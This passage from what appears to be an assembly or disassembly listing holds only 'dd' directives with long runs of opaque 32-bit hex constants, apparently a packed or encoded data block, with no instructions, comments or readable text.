2DBAFA35h, 0ABB80512h, 49C578F2h, 7BDCF774h dd 3F6404Dh, 0B3141605h, 29A4A83Bh, 81735A7Ah, 1934860Bh dd 48E90F00h, 153DDEDh, 237E491Eh, 79002B55h, 7B1F5117h dd 0AB2FFEE9h, 294284DDh, 0E17D87CEh, 0DE516C40h, 9388664Ah dd 64256136h, 0D60EF07Bh, 3883FB14h, 0B965A0EFh, 0CF012C48h dd 0B20822CFh, 0F00B2D22h, 0F55229D4h, 0A26C3242h, 0F1DEB72Dh dd 0F85C942h, 5DE8B020h, 0F2FCDC95h, 7C27AFD1h, 0AF6EC4A0h dd 5D0FEAF2h, 0BF695451h, 81936178h, 0AB4D06EBh, 4153ECB9h dd 4E4D3273h, 0EC93F429h, 2ADBF9F6h, 3E02C456h, 582EFE02h dd 0E6068935h, 0A879B715h, 0B2DEE958h, 5E6812BCh, 8067FF0Bh dd 793BF9A2h, 0F0FBFF9h, 0AAA42649h, 5BEE370h, 41FA4B5Dh dd 0C58BAF05h, 0CD03CDAFh, 0FE286F15h, 27D06413h, 3B5B0434h dd 173CEA40h, 549720B9h, 29E049D7h, 59B763CFh, 0AE5D4530h dd 3E907BE7h, 0FACEB8C5h, 0E3B2454h, 5D564922h, 711BC780h dd 25E94E9Fh, 0B32532F0h, 0B709EB18h, 4BED55Dh, 1D061230h dd 261F7EEBh, 0AF07A8h, 24DBB951h, 492826E2h, 0DF5B8141h dd 82CE47CDh, 499450h, 8FB85053h, 4A133B1Fh, 0F6BC7609h dd 38F48A9h, 639CBA27h, 4F5ED8F3h, 0BBB4AEFDh, 0C776AD22h dd 0C4EB909Bh, 0CEBA294Fh, 50F8D14Eh, 0C44F17D3h, 5BA0E1A8h dd 42B58268h, 7F5B7739h, 0CAABBC92h, 0BBB1622Ch, 0AF5C05AAh dd 0E4185AB2h, 934332C3h, 29D09Fh, 540D8F7h, 4E8215ADh dd 998050B7h, 667DCBB3h, 406836EAh, 0EA162619h, 16FA293Dh dd 8F40AB7Bh, 745DBE56h, 9D027B15h, 0C7251EF6h, 0D4E98526h dd 57DB463h, 88587D00h, 0EDBF5722h, 62E23E47h, 1E77F8A7h dd 0A530BD15h, 329C67E9h, 0B60FD720h, 0A10F33Fh, 820D9CBh dd 3E7BE912h, 4BCF258Ch, 17F89A23h, 62690EB4h, 0F7512C2Ah dd 0F837684Eh, 757AFF72h, 0A62093EEh, 8EB800D3h, 4865B121h dd 78FAD0F7h, 72FD2FD2h, 9FCDE2B4h, 0F9F47D8Bh, 49617h dd 0FB5D6AABh, 0BE8131ECh, 5C1DFD6Ch, 905D3C0h, 0A6E2F2ADh dd 62C859DDh, 0DE09C2C5h, 0EFFA0DF3h, 8FAA880Fh, 0D60909F9h dd 2F140AC0h, 0CD4D3D2Ch, 3E0C6400h, 0BBD83136h, 1050383h dd 0D9DF0AE0h, 3B01C4D7h, 36262BE7h, 9942E242h, 504D180Bh dd 48CC7288h, 0DB2DA1D1h, 0D20BE94h, 74B7C77h, 0AE19FAE3h dd 78CB604Ch, 6348F259h, 0C27C0410h, 2EAEE82h, 0F821E9E4h dd 2A6C56E9h, 3C3BEC30h, 0CB0F4B6Fh, 25024FAAh, 4C13D568h dd 22691BD8h, 4D0D2EB9h, 32CC6D49h, 0C002E0Dh, 0B49783E9h dd 675FE900h, 2460A5AEh, 0F50B5341h, 4096E903h, 0EEEDD107h dd 0A168647Eh, 274E85FAh dd 0D698B4D4h, 27864269h, 7320DF90h, 585F3C1Ch, 5CAD6801h dd 6E5D28B5h, 9504EFE2h, 0ADA8F2BEh, 5BCDF9Ch, 52B54DCEh dd 8B9E2AACh, 7330D516h, 0C5882E9Fh, 517C17A3h, 2DF70C0Dh dd 0A237F617h, 22B6765Fh, 7AF3B6AFh, 0BD8876F6h, 0BB680457h dd 0F8B59939h, 98978B35h, 27685132h, 1D187260h, 71B7CB4Dh dd 18FC241Bh, 3BB010C1h, 8AFD525Ah, 94FFDA27h, 17D7FCEBh dd 90FB15E9h, 451A722Fh, 0E4C11972h, 7EBF7DAFh, 35FE5D8h dd 0E92F9173h, 0B313D1CBh, 808C3440h, 702DE3B1h, 84EEF2D6h dd 0B41406B7h, 2591204h, 0EA81BE1Eh, 4093EA0Ah, 3E3AB158h dd 0E98557E6h, 236BD3Fh, 1D502DC7h, 0F24E6305h, 4F53DFFCh dd 68E182A6h, 5D546AF4h, 0D00DA87h, 2BD109Fh, 0EF60F302h dd 71D5FD01h, 0E9EB4119h, 2D7874DFh, 0E43F0C00h, 5114053Ah dd 4E80F389h, 3B096619h, 0D70CF781h, 0AA0D9A58h, 0B1560C4Ah dd 0D11A4F06h, 280B4217h, 32715001h, 0C50040B8h, 303D86C4h dd 0B0ACCBE9h, 5842714Eh, 0E3F83FC0h, 787411E1h, 8C02C455h dd 0F99094A3h, 0A7155F00h, 0C42EE97Ah, 4FEE3D6h, 0BF23545Bh dd 0E02E4C29h, 0CAA68DABh, 6D969E90h, 0CE5932ECh, 7690182Ch dd 0D4F78007h, 0EF52CFFEh, 179D41C1h, 0FD3CB105h, 3F4CC503h dd 62083F50h, 621E14A6h, 24BD06C7h, 13F506CFh, 82179F39h dd 25381B02h, 62C529D4h, 8552C001h, 407FB1F4h, 3F685357h dd 33AE3A0Ch, 2735E5Bh, 0E95D8365h, 0B4361h, 0F737DEE5h dd 5FEDF62Ch, 0D15E20A7h, 0D8FA40E0h, 846B5E97h, 0F8DDE956h dd 0C2FE0E78h, 6D34C80h, 0B6A7FAAAh, 0AC4D16AEh, 50680976h dd 1ECC6607h, 84DB0566h, 12D96BE9h, 11D832F1h, 2A4A7CABh dd 2DF0C982h, 4002BF5Ah, 16F7319Ch, 0DBE91A86h, 0E6D00AB2h dd 41C98102h, 75076454h, 5E021006h, 274F650Ch, 17900C4Ch dd 0AA64AE32h, 0DF0C813h, 7C4D042Fh, 0C861D6E9h, 7814EE7Ch dd 4BA0553h, 0CC906E3Eh, 0B11AE945h, 0AF642BC7h, 290FDDC2h dd 0C24B165Fh, 70D068BFh, 79C9122h, 0F91C6254h, 9F824CD7h dd 2568F201h, 0C57F4847h, 0B4F050Bh, 0DDBD0748h, 0FB18E40Bh dd 0BC2AF825h, 6B3E421h, 0C2260E4Ch, 26978814h, 755DACB2h dd 66DCDA9Ah, 129B0808h, 0DF40E85Bh, 0D794C40Bh, 0CC2AF616h dd 0F07D8085h, 5A66A102h, 5D18C568h, 5255C218h, 0D0D7B201h dd 1688E9E2h, 65E85303h, 7A73E380h, 7CFF324h, 381C9318h dd 2F0D98C1h, 0AEA29779h, 4C5FCDA4h, 0B9F949EDh, 0B5685601h dd 9033F64Dh, 0BF2D4544h, 2D011F5Ah, 17387764h, 0F971F801h dd 0F231843Eh, 4079A0Ch, 21049FB9h, 8B5BFCD6h, 0DDE72969h dd 1C12048Ah, 0D1166029h, 9A150E2h, 0F9570E53h, 0B5071B0Bh dd 62108056h, 165B4139h, 5521A782h, 0EC987FE3h, 7FF9FF0Eh dd 73B4DB1h, 25D98927h, 0C429C5CEh, 88A2BF50h, 0B7BDBAC4h dd 652C7B43h, 746BF6EDh, 0A0E582h, 3BBBEF1Ah, 0CC00D18h dd 2B462DEAh, 95B30E9h, 71086886h, 693AD19Fh, 0E594FB5Eh dd 3AA487C1h, 7D46D46h, 295333C6h, 9DEE6019h, 0C2976B7Bh dd 0C78375C4h, 20B7355Bh, 0BE567A41h, 641728EEh, 27EF4644h dd 8E1733E7h, 435F0CDAh, 49F1A57Ch, 0DF4E3252h, 0D08DD459h dd 0A23B1F4Dh, 0E92C3277h, 0B57F5605h, 768EBEB8h, 8D01175Ch dd 0E91B2768h, 5BD568C9h, 0F73516BEh, 0F0B9EC3h, 8541DB27h dd 0D1186852h, 2E7CE9A8h, 0F5B8A307h, 60FB6672h, 245BD04Ch dd 124B1E6Eh, 0E1F5C9DEh, 6BA325C1h, 4C25BBF9h, 0CCEBE3A0h dd 0B4C946Ah, 3FF000F9h, 0D8E927ABh, 50B7D9A6h, 0B30D8144h dd 231E6834h, 0B202FF23h, 74EA802Dh, 6459AE1h, 5A6C81B0h dd 2960417Fh, 296E9C20h, 64E911B2h, 5C4B8720h, 0C1157C4Bh dd 0A66A89E3h, 999E50DFh, 7497AA70h, 3B2D790Ah, 30E93A2Ch dd 0C3173CF6h, 0BA2D776Bh, 5DFE8251h, 68DE98B3h, 3515625Eh dd 440F6F5Fh, 1398189Fh, 0B5A59276h, 0DC2FE2F4h, 3E8BA7F3h dd 0BC2601CFh, 0B821E9E1h, 20C79B81h, 209A5A15h, 0B6E0B75Bh dd 59940F5Fh, 0F8E90803h, 5EED4B4Ah, 0EF449EB0h, 4760B3BAh dd 370057EBh, 0AEBA523Bh, 122CD90Bh, 5EAC1h, 0A254C41Bh dd 0D0630903h, 74BF27C8h, 46EFC99h, 0FA215917h, 0ED05815Fh dd 2A8404C7h, 56274DB9h, 0FF5238FEh, 8B5BF51Ch, 1E941097h dd 55525D02h, 9E82BE3h, 5E955F87h, 0B6AD8949h, 5A9C99D4h dd 0F08BCB1Eh, 0D8B9139Bh, 0F66B4648h, 0B7EBB294h, 44F57DEAh dd 876813E6h, 143AE377h, 25610A5Fh, 6FA7765Bh, 8039E4D7h dd 8837C607h, 80395AF3h, 2874B1B1h, 9F91A0F1h, 0C6D9C522h dd 0FD40958h, 0EC8AED04h, 0ADE939EEh, 9CAFC40Dh, 9CDF2528h dd 0B62E90CFh, 0AFF62713h, 5BA02D63h, 52D800Ah, 11F65553h dd 0D6B8DE5Ch, 62F2C1AFh, 4C92636Ch, 78EB4EC5h, 0EB49E9A5h dd 8B540967h, 0C5E5D71Ch, 95685C63h, 4FC2B2BFh, 2F7E5FA3h dd 83666C96h, 5BE1E84Bh, 0A384D07Dh, 304ED8D7h, 9D50E650h dd 54677016h, 58996507h, 0D3F72D60h, 0D71EC04Bh, 21CEFBCAh dd 44F7DDA2h, 5331300h, 1C5A1645h, 777F38D6h, 52825D4Fh dd 0E849DD6Ah, 0B360959Dh, 6F3DC04Ch, 109BA35Fh, 0FC4E3BB9h dd 77076BC7h, 6B4EC220h, 556072F6h, 0D80BA956h, 0EFA8F81Ah dd 0E4E1CC3Ah, 1411D364h, 2EA3604h, 0D75DEE31h, 4EBED201h dd 3E63C95Ch, 13BAE184h, 688FD0BAh, 4EBC49A3h, 0AECD51C4h dd 0B1D5A02Ah, 1F24627Bh, 0DB089201h, 526601C2h, 0CBFECE88h dd 77C2F1A2h, 17BCD0DFh, 0EFCB0830h, 0DB9AF61Eh, 14FE852Ch dd 764167CDh, 0BF00B10Fh, 0D195603Eh, 0B7908995h, 53FE721Ah dd 0D212B75Ch, 0A537F975h, 0F320CDE2h, 0DA469FBh, 6F060A98h dd 313DD22Ch, 0EA9BA0ACh, 34D1243Eh, 0A8021324h, 0D5BE98B2h dd 30AC8190h, 0BD9EE886h, 420257EAh, 0D5033765h, 6F8A1E69h dd 45EE5BD1h, 974822D8h, 0E521300Fh, 0C1C51D7Ch, 19BA604Dh dd 668B0382h, 283612C9h, 0B5E008DAh, 0B04E025h, 75935D68h dd 0E974FE4Eh, 965C49DCh, 21EE9254h, 12A3890h, 128E8153h dd 110F461Ch, 9DE08DABh, 5F5F5168h, 7CBD4E30h, 88124A5Bh dd 4D59E9F0h, 44EE5BE0h, 7B8CAC1h, 697FDD88h, 2587C632h dd 3E5BB46Fh, 41946886h, 3B962551h, 2D0BB166h, 0D7643F5Fh dd 0D57ED289h, 83357E2Fh, 5A8D6825h, 2051D5C1h, 0EB8897F2h dd 591E146Ah, 0D001F60Bh, 295C5D3Dh, 81CA0FBh, 14141CD0h dd 4FF5E3E9h, 0DCE651E8h, 4BFC6805h, 98AA5786h, 7101F3BEh dd 552BF13Ah, 0EFC9DD89h, 12689A6Bh, 0CE56F1DBh, 84CD5653h dd 5651DE11h, 4A83CE3Fh, 0CAEA7156h, 0C97D3DA6h, 6853050Fh dd 0D2BC5B54h, 0B25206C0h, 0E22EC087h, 0B61DA308h, 0A4E9D502h dd 9E94D5ECh, 0DB9F8A2Dh, 0B8C213C1h, 63AA4E28h, 41CEAEABh dd 17CEF105h, 93BA0F1Ah, 292FA59h, 3E1DC1h, 182C32B9h dd 304118E1h, 4216049Ah, 15084964h, 2D5F00BAh, 7E634B28h dd 7B05298h, 687D2A61h, 0B76B7421h, 0F5AA1807h, 8602411Fh dd 29F3AFAh, 0C0C78080h, 9DE20D98h, 198BF471h, 1726BE72h dd 0AD447BE9h, 98807F0Eh, 1550165Bh, 0D1C34409h, 9AB31665h dd 40DD257Bh, 819D36F1h, 4DD712Fh, 0A3105068h, 637004E4h dd 31C14906h, 0C06EE4Bh, 4A17A838h, 0C3A433EFh, 0ADB7B4E7h dd 55F604B0h, 98C1D707h, 0AD2ACF3Ch, 8A92C5FBh, 21209242h dd 0D4CB8793h, 0CCAD1E68h dd 572B76F2h, 30B3405Ah, 0EAD5624h, 0EE131AB9h, 27120CDFh dd 712AC94Dh, 0BE882099h, 73C22D12h, 0DBADB0Dh, 434887Bh dd 6124E5B5h, 930EAB68h, 0FEC502A7h, 33B99201h, 196163AFh dd 813D004h, 598ADFF4h, 57CF6D50h, 5E70B465h, 4267132Fh dd 212E68EBh, 8F393EE6h, 33B7DD47h, 38317403h, 20C18859h dd 37253601h, 2EB704Bh, 3F7B279Bh, 3160DBF7h, 9317D049h dd 0C8E929F2h, 6E268B05h, 24C1BB7Eh, 0A32B0FAFh, 0B0FC26CDh dd 75472989h, 1252F638h, 3A5566A9h, 0C9C908A8h, 8AB80AEh dd 0DEA6897Fh, 1C5F7A1Eh, 0A471BD11h, 0B5E808h, 789AE281h dd 0EAEC7AB3h, 42370AF8h, 4AF10C47h, 0F4006ADFh, 0E5DD8ACh dd 0BDE90B2Eh, 284379B8h, 1AC90F1Bh, 47C74095h, 6E7D0B80h dd 4F567EA5h, 2F4CA193h, 9EA354B8h, 0CF809509h, 9032D14Fh dd 94A4733Ch, 3E7C012h, 0F6E1FB03h, 73EFABD7h, 30F12538h dd 0E24EF170h, 0ED3EA9D9h, 15453BFBh, 44C3CFh, 6F03B850h dd 1560CCCh, 981109BEh, 40D6F71Fh, 8F2EE902h, 0D5BEBA9Fh dd 3F2DBD44h, 0E21BF6B5h, 0F0B1C231h, 0F9C93001h, 0D9B729Ah dd 7134933Dh, 688426ECh, 0F88CFAA0h, 0D60925E9h, 0DC3BEEC9h dd 0CC13373h, 83D834A2h, 678ED06Fh, 0F095A02Dh, 7E951BEh dd 95F629D4h, 0D1DFDBB2h, 31CE2057h, 0E173F0FEh, 0D2F24450h dd 0D7455865h, 0E6D4E6AFh, 0C7A1A0E6h, 7897125Ah, 6556B040h dd 0C5B38F60h, 76E81807h, 25F5061Eh, 0C3A2F6Fh, 9570A409h dd 5B6F64Fh, 0AF52C104h, 3F616012h, 163EEFE9h, 6E99AE2Bh dd 0AD52356Fh, 0F3E9166Ch, 0B73034B0h, 0CC88C3C0h, 0E5755173h dd 5859EA13h, 776D6605h, 805B2A48h, 0C9685250h, 444B8B06h dd 59FE6680h, 7490A0h, 155339C2h, 0D189511Ah, 4BB7C8E4h dd 0E1122F35h, 0D12DEE6Ch, 42ADF15Ah, 65C43EE9h, 0ED64D560h dd 148D2B13h, 99CD2962h, 4AE90840h, 56B3C1A5h, 34F0DD54h dd 6B0BBE92h, 0FA291470h, 67F9BF36h, 59F5EA42h, 0ACF094F5h dd 7F6AF205h, 545F008h, 88534D0Ah, 0DBEB214Bh, 0AD2C097Bh dd 80D9C920h, 664B87C1h, 1A185246h, 26E8771Dh, 0C2BF8542h dd 0BD0396C7h, 58ABCFC2h, 68F64080h, 105BC00Fh, 0D0ED4913h dd 7597FE7Ch, 0A92AEDB3h, 31BED20Bh, 6F95E9AAh, 1B8BF00h dd 7537F971h, 506B0935h, 91DF312Dh, 5B84F85Ah, 0E24AEE68h dd 0D9532830h, 0B232F39h, 0E3ADE91Eh, 0B955A31Dh, 0B22E22B7h dd 335A7F43h, 9DAE0EC5h, 2E2461F9h, 2C3EA1ECh, 0E6D45AD2h dd 14D0728Bh, 21EB292Ch, 7B0FFB24h, 0F530A67Dh, 0FD31251Ah dd 2958F3DEh, 853E94E8h, 0B2600268h, 9531D285h, 0B36AC781h dd 0BB8284C0h, 67328100h, 5425A513h, 52AC5E5Ah, 0A788B1DEh dd 19552547h, 9070FD19h, 64DD82BCh, 0B2B92F7Eh, 0D862E2D4h dd 215A48F4h, 5620327h, 0D5F7EE87h, 4EA084Ch, 78064F1Bh dd 5E66E980h, 184A676Fh, 0A03802E1h, 0AEDC5D43h, 0E60CA812h dd 0B8596388h, 0CA77305Fh, 1868660Eh, 0DF2D12C5h, 0EACF46EAh dd 0EF09EBE1h, 0FD18BFE6h, 0A702C68Bh, 2275166Fh, 555BDF76h dd 0C1213F40h, 0AD68FFC5h, 0BA5BF4B8h, 653BE879h, 0C17909A7h dd 5BDE0823h, 0F6A1A425h, 0E2C94FF4h, 0E508202h, 4468B9F5h dd 0E611B83Eh, 0C1C320B2h, 1C772112h, 6568D942h, 0C36E5C05h dd 0F700CD3Fh, 0DD6B48C7h, 98FA09AEh, 0E53B4CCCh, 0EE7383A4h dd 10569BEAh, 580850B9h, 88DCDB7h, 660BD948h, 7221555Ah dd 673059E8h, 4F604C7Dh, 0B754E7E0h, 0E20FD9B0h, 5A4098BFh dd 0BCF1880Ah, 3FA64617h, 5F5201BAh, 6B162068h, 3A9A72A2h dd 2AF82C5h, 0C657D6ADh, 32A8F5F5h, 96F72711h, 0B161C422h dd 6B0A79F7h, 0B12F5CE6h, 175E5E31h, 3F0BBA72h, 0CFCFCB0h dd 0EDB5F0E8h, 16C5E309h, 318057BAh, 0FFEBA32Dh, 0C2A9115Eh dd 0D79A3E13h, 896DAC23h, 45042CD2h, 38BC46E9h, 404EB4Ah dd 0E71AD83Dh, 745B5640h, 0BAE5582Ch, 9D36C503h, 397A742Ah dd 293DF921h, 0BA127CC8h, 2DFC20CFh, 1114F433h, 18B3EEC1h dd 58877414h, 78E4E75Dh, 99991BDh, 0B4668D08h, 4BBC9C20h dd 543DCC5Dh, 0A6D9F9F1h, 722D5A4Bh, 0BCFBF7B9h, 0D1BA0C94h dd 3B0AF9Bh, 0B450205Ch, 51C18102h, 7FBEF4FDh, 7C9F705Ah dd 11F150D3h, 0E9654D04h, 1BB3EF8Fh, 4421FE5Eh, 8D83175Ah dd 40A011F5h, 96FAC47Ch, 1468A3A8h, 0E4314E5Bh, 48025D03h dd 0F202807Dh, 0B5CD3CB0h, 0D208135Eh, 0EE2912CFh, 0C4BC5BD5h dd 0C282BD84h, 0C1867C3Ah, 0B9E0D80h, 67105C2Fh, 0E0255B14h dd 0DFDEA141h, 3A7E67B1h, 0F1BE2593h, 216A0411h, 1916CC0h dd 0F1C9CE31h, 5650088Ch, 0E0416996h, 9782D701h, 7BC9B104h dd 0D5183518h, 0D9778273h, 0F920084Bh, 7A6D02Fh, 814D8E1Fh dd 64C51EE3h, 7C0BF842h, 2D400400h, 68731783h, 0F6D85B01h dd 380D4278h, 5556AD5Bh, 42DEFE99h, 9CF4B8C7h, 0AFB00A44h dd 0F4519D54h, 0BD0BDB73h, 1C79DA44h, 0AD75931Eh, 0EAD5F21h dd 0AF57FB4Fh, 5DD28BEBh, 0A8681C51h, 6A0D47B1h, 2ADF8701h dd 0EB2D0D7h, 0F42E8A3Ah, 0C0E7B0B3h, 2EFD058h, 0E90BC780h dd 0F6056D40h, 0F313D305h, 605B8DBAh, 751719B0h, 5FE234Fh dd 529D2903h, 1F44EED0h, 64AB4845h, 0B539FC81h, 58FAE6AAh dd 0E6BB8479h, 492B99CDh, 607868C1h, 0C8CFF99Dh, 27B210A7h dd 0E224652h, 0C7058268h, 0AF525849h, 2D2839EEh, 57040806h dd 2936BC42h, 779D9BEh, 1CA0880Ch, 13355848h, 395FFBFh dd 0D0EE12ABh, 225EC5A7h, 93644C2Ch, 0E0DF971Bh, 26757FE5h dd 104711E2h, 86BF05CEh, 8EC1C83Dh, 0E804BC96h, 4BC9DEF4h dd 518D54E1h, 6B7F6590h, 6F1EF8BDh, 0AE5B7DAEh, 47BF0775h dd 1772081h, 0E7E94A03h, 2EC6D96h, 6202F4BDh, 1AE869ACh dd 0C69F4C68h, 77DCB71Eh, 139B68FAh, 2D629B82h, 1C46BDFCh dd 54D8F5A7h, 98F292FBh, 0BAC52D58h, 0EB025425h, 0F83765D3h dd 4FE9E3EAh, 0EE77C4F1h, 0A85B5FE7h, 27C6012Dh, 0CABF0550h dd 0F9290B93h, 28009360h, 3FF408F2h, 0D9ED0B2Dh, 5C291B0Ah dd 5A988D80h, 33983B51h, 2FAD5758h, 257C51ABh, 0B93E6AD1h dd 1ACCA27h, 54768C4h, 7C80E289h, 7D126133h, 0D8622A2Ch dd 2DF025C3h, 96B470FEh, 17539BAAh, 0B2CC3ED6h, 353C40AAh dd 2F2E91B0h, 0E102F676h, 0E0509B40h, 2574EA81h, 555214F2h dd 8E410883h, 0CC22A14h, 9E8DB58h, 815AC92Ch, 0AD3DB33Eh dd 2D956001h, 0D5201D37h, 71704335h, 0EED00E4Ch, 4D023017h dd 0FDA2DF05h, 38E1DFA5h, 5709CE3Bh, 30832027h, 0E688ACF4h dd 88DDE2FFh, 0BE2F992Dh, 0CFE925A3h, 62AD2087h, 2BD7B3EBh dd 0D029004Fh, 97FE2913h, 0EE819D45h, 3D420FE0h, 805502Eh dd 81A9A94Ah, 2C377F19h, 467800F7h, 0E9307475h, 44946156h dd 78F4048Ch, 0DA95BBh, 592587BEh, 8896BD2Bh, 4F6C08E2h dd 0C4725625h, 4CB2F808h, 7BAC4F4Dh, 683F4342h, 0A19A2EADh dd 81635061h, 6141CDC8h, 0CB2F5DC4h, 72DE00A1h, 66E93D4Fh dd 50B59EF9h, 8082F3E3h, 0D61D3204h, 8972BF73h, 19130882h dd 977CE9Fh, 0DCA7A0CEh, 6A857959h, 0AA7ED5D7h, 3888426Dh dd 7C25C5EEh, 0B6F2A581h, 0C2F90CD2h, 0BDAB6812h, 17221224h dd 0B75686B4h, 0C6D8E318h, 0ED0E92B4h, 0B8F563E8h, 80EFAD28h dd 44B151FFh, 5E0DF1FCh, 3C81DEE9h, 175F7034h, 0A3694068h dd 314E0F39h, 7E9E2E1h dd 0D173DC70h, 680D8998h, 0F75862E3h, 0DAD611CEh, 73C5CAFBh dd 805E4A86h, 2DC1BB37h, 1FB510Bh, 0E513AED3h, 0B2D11980h dd 4DA0C321h, 5EEE40D6h, 64E69B8h, 45A2C6C4h, 684CA497h dd 5943BA25h, 0FEB180C2h, 8893C180h, 1D59CB3Bh, 56AFD2F3h dd 0D0B6C10Ah, 7FF63E30h, 680A5F42h, 802C3F45h, 0EFC0E0B7h dd 0B2035207h, 8BB05067h, 0E820DFD0h, 7340A2Ch, 0E9C2304Eh dd 0C422EB35h, 0D4415AD1h, 6D9970EBh, 0F39CF9F2h, 97C80158h dd 0B750ECFEh, 5B4082D7h, 1200699Dh, 6DED8122h, 321DB13h dd 0C15DEB89h, 60E708E3h, 549E6B47h, 1200C3ECh, 0F77DE467h dd 4F93E9D3h, 0BA6D5C2h, 1854CF65h, 0C1782D40h, 0F7810214h dd 718534F8h, 0CFCC80D5h, 48C9049Fh, 6D049E09h, 8034DB48h dd 0DF90B29Ch, 400E9858h, 0EB82FDD4h, 6B1ACA82h, 15AC87Fh dd 20F0A4CBh, 0AC14CC98h, 28A6E804h, 8200DA05h, 0B353C1FEh dd 0F6EBC0FBh, 0B5B8C4F6h, 82520AD2h, 0CB0DE601h, 0E02A8929h dd 9195D51Bh, 127F07A0h, 0D3E8F248h, 0A3AA6BC4h, 21E98204h dd 72FBA079h, 9D7B6658h, 6E061441h, 17B8E4C5h, 342B190Ah dd 43F60099h, 0E947492Eh, 7E0A752Dh, 0EB8078C1h, 6EE6DA61h dd 0B8CBD2F6h, 0FB05EAC0h, 2082C3CDh, 66D328B5h, 7C897841h dd 7281D207h, 0F4639A9Bh, 5EC6F84Fh, 61842CE9h, 0D89390B2h dd 2B4D1D68h, 37238521h, 0AC012053h, 0A03A9A3Fh, 0DDF5AF42h dd 0DA955EC4h, 895713D9h, 7480BFEFh, 4B5D5AD0h, 92F0BC29h dd 0A66E83A1h, 20EBD658h, 0F381E9BFh, 249D79BFh, 0D0963E56h dd 5BFFFCE1h, 6804E0F2h, 0F945283Dh, 51CA05DFh, 968272DFh dd 0FD33807Eh, 434DC4Ch, 41649705h, 5A81EF53h, 1305E88Bh dd 2D80B98Fh, 0E926905Bh, 46C86FF2h, 42BC476Ch, 8AE0FA00h dd 0ECBBB53h, 47C7C92h, 7767D0E9h, 1DC2EB14h, 0C60888C1h dd 4ED7F809h, 8B4BBE3Eh, 375CCBB0h, 0BA7D5C2h, 2620325Ah dd 832D07A9h, 0A20D240Bh, 1AD74069h, 937576F1h, 0C98D25Ah dd 5C030B50h, 0AE68F9F7h, 0F3FA8434h, 0A84E7C0Dh, 1FF25EEh dd 341DDC52h, 8EC8006h, 0E90BE26Fh, 8C2F4AC0h, 404E334Eh dd 5B2721B3h, 0C105B884h, 6E61DD1Eh, 73261E8h, 0D940E80Bh dd 5D17A3B9h, 2A85FCF9h, 0C355BDA2h, 0E9839133h, 0D05F07Eh dd 0E2865BFAh, 2837D2AEh, 2F8AC841h, 0E9022243h, 0B729AD7Fh dd 388FD63Eh, 4929673Bh, 91B25096h, 38F28012h, 0E985AE01h dd 412B70E7h, 5910DC6Ch, 38C72E0Eh, 0D43623Bh, 7EF0220Bh dd 29492028h, 65BF08B2h, 0B7FAE285h, 2DA86CDDh, 0D0303ED4h dd 2EBF6BD5h, 0D9BAEA6Fh, 0B70F9A5h, 3AD7BF3Ah, 68F9F7D7h dd 7EB1E942h, 867627F4h, 6334E9D0h, 0DAE7B1B2h, 0C0550FFAh dd 26625965h, 0F66B1Bh, 0D08F84C0h, 64F5B9E9h, 0A3EECA0Fh dd 0C4A0B892h, 201FFBEBh, 3817703Eh, 0F2FF4CC4h, 510A1961h dd 9E20412Ch, 532A1383h, 3400FFF5h, 30BB102Dh, 0C07CFAACh dd 779ABF9Dh, 46B724E8h, 0E4F60FBh, 4D9216Ah, 4CE6DC95h dd 0ED13B40Ch, 0B01E31Ah, 6F9915DCh, 80E502Eh, 0A8715F2Fh dd 7BAD2264h, 2FAEEA03h, 0F2B023BCh, 0B23E4453h, 91C2022Ch dd 7C78EF2Bh, 0FB9B1A94h, 0E28ACB10h, 50C789C0h, 0F6252F07h dd 78C65959h, 0D706EA6Fh, 60971144h, 4F133102h, 7A74F139h dd 0AD42CDB1h, 6BB10368h, 0A957A7E2h, 99CCD56Ch, 4B001DFCh dd 68526234h, 4A4E5BD0h, 8C4C8023h, 0F5E0B22h, 0AD4FD3E8h dd 0D407304Fh, 76AF7320h, 181EFE63h, 4E582A5Ah, 0BF3A48E1h dd 8999A711h, 876C7FA6h, 1E77B20h, 713CAD35h, 943F0552h dd 2781ED5Eh, 0A9A4691h, 4DF1476Ch, 695759B8h, 1C8D81E2h dd 0D23A6FF9h, 0A6A910F7h, 0F5A5986Dh, 2E96439Eh, 0AEE5108Ch dd 0AF681350h, 83863775h, 17922906h, 27B97A1h, 62C8C698h dd 1970FFE9h, 0FD82ECB7h, 52C6413Fh, 7F393275h, 8E7C415Fh dd 2956CC1Dh, 0A67A76BEh, 80DD1993h, 0C39C205Eh, 74E081C9h dd 80BCC242h, 775B050Bh, 7C583782h, 5B4E30DFh, 7B90921Ah dd 935C63Dh, 0D729F4DCh, 2D018F16h, 37C6206Bh, 0AD7F50E9h dd 18EB047Bh, 3EC2C089h, 3379DFECh, 87A80164h, 0D5F8B585h dd 204EC12h, 55053CEEh, 40786323h, 0D8590888h, 3661238h dd 0F926E827h, 5A2AC21Dh, 43625F07h, 44455FB2h, 0B3BA7B8Ch dd 4E8C01F3h, 0DD2140DFh, 84C49C5Bh, 0F420910Bh, 0C152440Ah dd 1485995h, 0D3C1FFB2h, 0C081E82Eh, 53DA8852h, 0FF514A50h dd 5FE94542h, 0A8BC7E1Bh, 8DC909A4h, 5D833C71h, 89006632h dd 8F780EF2h, 95D52961h, 0BD012759h, 2CA95617h, 0C85FCE78h dd 260F2D9Ch, 1F44FD36h, 7E00854h, 3AEF5B2Bh, 0A79AEE97h dd 29955A0Fh, 27C3F853h, 7E444431h, 0CC20AEB0h, 505C25DCh dd 301773FBh, 5F5ECFC2h, 4AC23973h, 2533CCD9h, 90CC5456h dd 1555339h, 4E3BEF68h, 0E82B5B27h, 0F5D73F09h, 980C1760h dd 0BD5CA942h, 2BF94FBh, 2E0B7BF5h, 0B72D584Dh, 0D0691056h dd 2F5679B2h, 8676326Ah, 0F54EE958h, 0F3200A94h, 0FBEDC016h dd 0C4F6860Fh, 4FBF38ABh, 0F465E308h, 7291EFFDh, 0D83A1CECh dd 0F769D6F1h, 85B74EEh, 0B1245B57h, 0E3685319h, 4D0882Ah dd 8CDBD6BDh, 0CE96EE89h, 597FCA07h, 6E4C16Fh, 203AEC86h dd 24C0AC92h, 0A63633C3h, 41AF9041h, 8D2C2075h, 5FAA273Fh dd 0EDC4C4B2h, 40050106h, 50CA9A7Fh, 5B0DFA79h, 0E4278D43h dd 2F926725h, 17278C07h, 0E8B25729h, 2D6CE540h, 0DB09FA7Eh dd 0BCDA799Fh, 54FAA597h, 0A2F3FFFh, 0AC173104h, 0F4708AF1h dd 43015112h, 2E4E6D03h, 2E33E6D8h, 0DFA3F55h, 78DB4BD7h dd 93321526h, 3EF04CA6h, 34281662h, 0DE6E04EEh, 8B5A18C1h dd 23C82C3Dh, 7289006Ah, 0C5E97842h, 0DF276A97h, 3307FFF0h dd 31247BA6h, 0BD3F60ECh, 0ED062AC4h, 